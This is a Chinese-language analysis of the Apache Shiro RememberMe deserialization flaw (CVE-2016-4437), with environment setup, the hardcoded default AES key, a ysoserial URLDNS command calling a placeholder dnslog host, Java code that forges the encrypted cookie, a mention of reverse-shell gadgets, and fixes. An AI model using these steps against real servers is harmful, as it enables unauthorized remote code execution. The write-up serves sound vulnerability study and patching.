CVE-2016-4437:Apache Shiro RememberMe UnSerialized RCE分析
字数 1299 2025-08-25 22:58:46
Apache Shiro RememberMe 反序列化漏洞 (CVE-2016-4437) 分析
漏洞概述
Apache Shiro 是ASF旗下的一款开源安全框架,提供身份验证、授权、密码学和会话管理功能。在1.2.4及以前版本中,存在一个严重的安全漏洞:
- 漏洞类型:反序列化导致的远程代码执行(RCE)
- 影响范围:Apache Shiro <=1.2.4(部分高于1.2.4的版本如果密钥泄露也会受影响)
- 漏洞原理:加密的用户信息序列化后存储在名为remember-me的Cookie中,攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞
漏洞分析
漏洞背景
Shiro默认使用CookieRememberMeManager功能,处理流程如下:
- 检索cookie中RememberMe的值
- Base64解码
- 使用AES解密
- 反序列化
问题在于AES加解密的秘钥被硬编码在代码中,攻击者可利用默认密钥构造恶意序列化对象。
环境搭建
- 下载漏洞版本:
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
- 修改pom.xml添加JSP标签支持:
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>taglibs</groupId>
<artifactId>standard</artifactId>
<version>1.1.2</version>
<scope>runtime</scope>
</dependency>
- 部署到Tomcat服务器
关键代码分析
- 硬编码密钥:
在AbstractRememberMeManager类中发现base64编码的默认密钥:
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
- RememberMe Cookie生成流程:
onSuccessfulLogin→rememberIdentity- 序列化用户身份(
DefaultSerializer.serialize) - AES加密(
AesCipherService.encrypt) - Base64编码
- 设置Cookie
- RememberMe Cookie解析流程:
getRememberedIdentity→getRememberedPrincipals- 获取Cookie值
- Base64解码
- AES解密(
AesCipherService.decrypt) - 反序列化(
DefaultSerializer.deserialize)
漏洞触发点
反序列化操作最终调用ObjectInputStream.readObject(),如果攻击者能够:
- 构造恶意序列化对象
- 使用已知密钥AES加密
- Base64编码后作为RememberMe Cookie发送
服务端会解密后反序列化该对象,导致任意代码执行。
漏洞复现
方法一:使用URLDNS Gadget检测
- 生成Gadget:
java -jar ysoserial.jar URLDNS "http://yourdnslog.dnslog.cn" > poc.ser
- AES加密处理(Java代码):
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestRemember {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(Paths.get("poc.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
-
构造恶意请求:
将生成的加密payload作为RememberMe Cookie发送 -
观察DNSLog是否有回连记录
方法二:反弹Shell
使用ysoserial的其他Gadget(如CommonsCollections)生成反弹shell的payload,同样流程加密后发送。
修复方案
- 升级Shiro到1.2.5及以上版本
- 自定义加密密钥(替换默认密钥)
- 禁用RememberMe功能(如果不需要)